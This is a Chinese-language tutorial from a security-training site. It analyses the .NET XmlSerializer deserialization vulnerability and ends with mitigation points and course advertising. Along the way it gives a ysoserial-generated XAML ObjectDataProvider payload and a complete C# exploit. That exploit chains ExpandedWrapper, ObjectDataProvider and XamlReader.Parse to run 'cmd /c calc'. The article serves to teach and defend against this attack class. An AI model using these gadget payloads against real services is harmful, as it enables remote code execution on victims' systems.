当前位置: 首页 > 技术干货 > Dotnet - XmlSerializer 反序列化漏洞分析

Dotnet - XmlSerializer 反序列化漏洞分析

发表于:2026-11-18 15:57 作者: Luc1dkilL 阅读数(31人)

序列化和反序列化的演示Demo

参考微软的文档:

https://learn.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0

  • XmlSerializer

命名空间:System.Xml.Serialization

程序集:System.Xml.XmlSerializer.dll

  • 演示demo

注解:

[XmlRoot]   // XML根
[XmlElement] // XML中的实体节点
[XmlArray("Items")]
[XmlAttribute] // 声明的对应变量位于XML元素的开始标签属性   <book name="1"></book> 比如name

如何进行序列化:

  1. 声明内存空间,使用流对象代理

  2. 声明写内存的StreamWriter对象,由于序列化需要传入Textwriter类型,所以声明为Textwriter

// 传入类型, 指明了xml文档对应的对象类型
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
​
// 声明流
MemoryStream memoryStream = new MemoryStream();
​
// TextWriter为写连续字符的抽象类
TextWriter writer = new StreamWriter(memoryStream);
​
// 序列化
xmlSerializer.Serialize(writer, p);
​
// 输出序列化后的xml文档
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

反序列化:

// 重置流指针, 为反序列化做准备
memoryStream.position = 0;
// 反序列化
Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);

完整代码:

namespace XmlDeserialization
{
   // XML
  [XmlRoot]
   public class Person
  {
      [XmlElement]
       public int Age { get; set; }
       
       // XML文档中的一个元素
      [XmlElement]
       public string Name { get; set; }
​
      [XmlArray("Items")]
       public Order[] OrderedItems;
       
       // XML元素的开始标签属性   <book name="1"></book> 比如name
      [XmlAttribute]
       public string ClassName { get; set; }
​
  }
​
   public class Order
  {
       public int OrderID;
  }
   
   // 测试
   internal class Program
  {
       public static void Main(string[] args)
      {
           Person p = new Person();
           p.Name = "jack";
           p.Age = 12;
           // 两份 order
           Order order = new Order();
           order.OrderID = 123;
           Order order1 = new Order();
           order.OrderID = 456;
           Order[] orders = new Order[] { order, order1 };
           p.OrderedItems = orders;
           p.ClassName = "classname";
                       
           XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));
           //XmlSerializer xmlSerializer = new XmlSerializer(p.GetType());
           //XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType("XmlDeserialization.Person"));
                       
           MemoryStream memoryStream = new MemoryStream();
           TextWriter writer = new StreamWriter(memoryStream);
           
           // 序列化
           xmlSerializer.Serialize(writer, p);
           
           memoryStream.Position = 0;
           
           // 输出xml
           Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
           // 反序列化
           Person p1 = (Person)xmlSerializer.Deserialize(memoryStream);
           Console.WriteLine(p1);
      }
  }
}    

反序列化漏洞分析

环境配置

首先需要下载好依赖,使用NuGet,有GUI很舒服

(可以去微软文档查看对应函数需要的程序集)

以及添加引用using System.Data.Services.Internal;

漏洞成立的前提:XmlSerializer的“类型可控”

在进入具体 gadget 之前,需要先明确 XmlSerializer 反序列化漏洞的根本触发条件。XmlSerializer 本身并不像 BinaryFormatter 那样从数据流中读取任意的类型名——它的类型是由 new XmlSerializer(typeof(T)) 构造时静态确定的。因此,攻击者能够控制传给 XmlSerializer 构造函数的 Type 参数,是整条利用链成立的前提。

一旦类型可控,攻击者就可以把一个看似合法的“容器类型”交给 XmlSerializer,而这个容器在反序列化时会重建内部的危险对象。下面的 ObjectDataProvider 与 ExpandedWrapper 正是为此设计的“容器—执行体”组合。

ObjectDataProvider使用

官方文档的介绍:https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=windowsdesktop-8.0

Wraps and creates an object that you can use as a binding source.

演示demo

ObjectDataProvider o = new ObjectDataProvider();
o.MethodParameters.Add("cmd.exe"); // 参数
o.MethodParameters.Add("/c calc");
o.MethodName = "Start"; // 对象方法
o.ObjectInstance = new Process(); // 绑定的对象实例

但是没办法对该对象进行XML序列化,那么自然也就没有反序列化

具体原因如报错:

未经处理的异常: System.InvalidOperationException: 生成 XML 文档时出错。 ---> System.InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。

未动态执行前,无法得知ObjectDataProvider绑定的对象信息

ObjectDataProvider为什么会在"赋值"时触发执行

ObjectDataProvider 的危险性不仅在于它能包装任意对象,更在于它会在属性赋值的过程中主动调用方法。查看 System.Windows.Data.ObjectDataProvider 的实现可以发现:

  • 当 MethodName 被设置时,基类的 Refresh() 会被调用。

  • Refresh() 进而触发 BeginQuery(),ObjectDataProvider 重写了 BeginQuery(),最终执行到 QueryWorker()。

  • 在 QueryWorker() 中,关键调用是 this.InvokeMethodOnInstance(out ex),即通过反射对 ObjectInstance 调用 MethodName 指定的方法,并传入 MethodParameters 中的参数。

也就是说,反序列化器只要重建 ObjectDataProvider 并还原它的 MethodName、MethodParameters、ObjectInstance 属性,不需要额外的“执行”动作,方法调用就已经在属性赋值阶段完成。这就是 ObjectDataProvider 作为反序列化 gadget 的核心机制。

ExpandedWrapper包装器

  • ExpandedWrapper包装类定义如下:主要是一个泛型的思想在这

  public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : 
   ExpandedWrapper<TExpandedElement>
{
   /// <summary>Get or sets the property to expand.</summary>
   /// <returns>The property to expand.</returns>
   public TProperty0 ProjectedProperty0 { get; set; }
​
   protected override object InternalGetExpandedPropertyValue(int nameIndex)
  {
     if (nameIndex == 0)
       return (object) this.ProjectedProperty0;
     throw Error.NotSupported();
  }
}
  • 使用方法:

TProperty0表示要包装的类型

ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();

序列化

        ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper =
           new ExpandedWrapper<Process, ObjectDataProvider>();
       expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
       expandedWrapper.ProjectedProperty0.MethodName = "Start";
       expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
       expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();
​
       Type t = typeof(ExpandedWrapper<Process, ObjectDataProvider>);
​
       XmlSerializer xml = new XmlSerializer(t);
       MemoryStream memoryStream = new MemoryStream();
       TextWriter writer = new StreamWriter(memoryStream);
       xml.Serialize(writer, expandedWrapper);

通过泛型类包装可以绕过序列化时因未知类型而失败的限制

但是Process类中存在接口,无法被序列化

ExpandedWrapper如何传递给XmlSerializer被包装的类型

ExpandedWrapper 的官方定位是 WCF Data Services 的基础设施,并不建议直接在业务代码中使用。它的关键设计在于:泛型参数 TProperty0 会在序列化时把被包装对象的类型信息一并写入元数据。

在没有 ExpandedWrapper 的情况下,如果直接把 ObjectDataProvider 交给 XmlSerializer,序列化器只知道 ObjectDataProvider 本身,不知道它内部 ObjectInstance 将来会被替换成什么具体类型(比如 Process),因此会因为“非已知类型”而拒绝序列化。ExpandedWrapper 通过将类型 TProperty0 显式暴露为泛型参数,使 XmlSerializer 在反序列化时能够构造出被包装对象的实例,同时通过 ProjectedProperty0 属性暴露 ObjectDataProvider 的 MethodName 和 MethodParameters,从而让反序列化过程自动重建一个“配置好待执行方法”的 ObjectDataProvider。

不过,ExpandedWrapper<Process, ObjectDataProvider> 仍然会因为 Process 内部存在接口/不可序列化成员而在 XmlSerializer 下失败。因此攻击链需要把被包装的类型从 Process 换成 XamlReader——它是一个可以被 XmlSerializer 正常处理的类型,同时它的 Parse 方法可以作为第二阶段的执行入口。

ResourceDictionary攻击链

Windows Presentation Foundation (WPF) :一个独立于分辨率并使用基于矢量的渲染引擎的 UI 框架

XAML 是一种声明性标记语言。当应用于 .NET 编程模型时,XAML 简化了为 .NET 应用程序创建 UI

ResourceDictionary包含了wpf,那么自然可以涉及到xaml

首先我们使用yso生成XAML形式打ObjectDataProvider的反序列化链

> ysoserial.exe -g ObjectDataProvider -c calc -f Xaml               
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
  <sd:Process>
    <sd:Process.StartInfo>
      <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
    </sd:Process.StartInfo>
  </sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

配合ExpandedWrapper, ObjectDataProvider思路:

XmlSerializer-- ExpandedWrapper<XamlReader, ObjectDataProvider> -- ObjectDataProvidfer -- XamlReader.Parse

完整exp如下:

            string cmd = @"<?xml version=""1.0"" encoding=""utf-16""?>
<ObjectDataProvider MethodName=""Start"" IsInitialLoadEnabled=""False"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"">
 <ObjectDataProvider.ObjectInstance>
   <sd:Process>
     <sd:Process.StartInfo>
       <sd:ProcessStartInfo Arguments=""/c calc"" StandardErrorEncoding=""{x:Null}"" StandardOutputEncoding=""{x:Null}"" UserName="""" Password=""{x:Null}"" Domain="""" LoadUserProfile=""False"" FileName=""cmd"" />
     </sd:Process.StartInfo>
   </sd:Process>
 </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>";
           
           
           ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper =
               new ExpandedWrapper<XamlReader, ObjectDataProvider>();
           expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
           // 设置ObjectDataProvider的相关参数
           expandedWrapper.ProjectedProperty0.MethodName = "Parse";
           expandedWrapper.ProjectedProperty0.MethodParameters.Add(cmd);
           expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
           
           
           // 序列化
           MemoryStream memoryStream = new MemoryStream();
           TextWriter textWriter = new StreamWriter(memoryStream);
           XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
           xmlSerializer.Serialize(textWriter, expandedWrapper);
           string XMLShell = Encoding.UTF8.GetString(memoryStream.ToArray());
           
//
           Console.WriteLine(XMLShell);

XamlReader.Parse为什么能成为最终执行点

在上面的完整 exp 中,ObjectDataProvider 被配置为对 XamlReader 的 Parse 方法发起调用,而传入 Parse 的参数是一段嵌套了 ObjectDataProvider 的 XAML 文档。这一设计的关键在于 XamlReader 解析 XAML 时的对象构建行为:

当 XamlReader.Parse 处理以 ResourceDictionary 为根元素的 XAML 时,它首先创建 ResourceDictionary 对象;由于该对象实现了字典接口,其中声明的 ObjectDataProvider 会作为成员被存储下来。随后,在初始化这个内层 ObjectDataProvider 的过程中,ObjectType、MethodName、MethodParameters 被依次赋值;正如前文所述,MethodParameters 的变化会触发 OnParametersChanged,最终通过反射调用到 Process.Start,命令得以执行。

整体利用链

[攻击者可控的序列化数据 / XML]
      │
      │ XmlSerializer.Deserialize(stream, typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>))
      ▼
┌──────────────────────────────────────────────────────────────┐
│ ExpandedWrapper<XamlReader, ObjectDataProvider>             │
│                                                             │
│ ProjectedProperty0 ────────────────┐                       │
└─────────────────────────────────────│────────────────────────┘
                                    ▼
                    ┌──────────────────────────────────────┐
                    │ ODP_A:ObjectDataProvider           │
                    │                                     │
                    │ ObjectInstance = new XamlReader()   │
                    │ MethodName     = "Parse"             │
                    │ MethodParameters[0] = 恶意 XAML 字符串│
                    └──────────────────┬───────────────────┘
                                      │
                                      │ 反序列化还原属性时触发 Refresh()
                                      │ → BeginQuery()
                                      │ → QueryWorker()
                                      │ → InvokeMethodOnInstance()
                                      ▼
                    ┌──────────────────────────────────────┐
                    │ XamlReader.Parse(恶意 XAML)         │
                    └──────────────────┬───────────────────┘
                                      │
                                      │ 解析 XAML,创建其中的对象
                                      ▼
                    ┌──────────────────────────────────────┐
                    │ ODP_B:XAML 中的 ObjectDataProvider │
                    │                                     │
                    │ ObjectInstance = Process             │
                    │ MethodName     = "Start"             │
                    │ MethodParameters = "cmd"、"/c calc" │
                    └──────────────────┬───────────────────┘
                                      │
                                      │ 属性赋值再次触发 Refresh()
                                      │ → InvokeMethodOnInstance()
                                      ▼
                    ┌──────────────────────────────────────┐
                    │ Process.Start("cmd", "/c calc")     │
                    │ → 命令执行                           │
                    └──────────────────────────────────────┘

缓解与防御要点

  • 不要将用户可控的数据传入 new XmlSerializer(Type)。XmlSerializer 的安全性在很大程度上依赖于“类型在编译时固定”;一旦类型参数可控,ExpandedWrapper 等合法但非预期的类型就可能被用来构造利用链。

  • 限制可反序列化的类型集合。如果业务确实需要反序列化多种类型,应使用白名单或 XmlInclude/SoapInclude 显式限定允许的类型,而不是接受外部传入的类型名。

  • 避免加载 WPF/PresentationFramework 的非必要程序集。ObjectDataProvider 与 XamlReader 均来自 PresentationFramework.dll;在不依赖 WPF 的服务端场景中,减少该类程序集的加载面可以降低 gadget 可用性。

  • 警惕 XML 中的 xsi:type 与嵌套 XAML 片段。如果反序列化入口允许 XML 中出现 xsi:type 或类似类型提示,应视为高风险信号,并结合白名单进行拦截。

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 零基础CTF竞赛实战课 红队攻防特训班 Web安全工程师特训班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   Python网络安全实战班 SRC漏洞高阶实战课 HVV大师课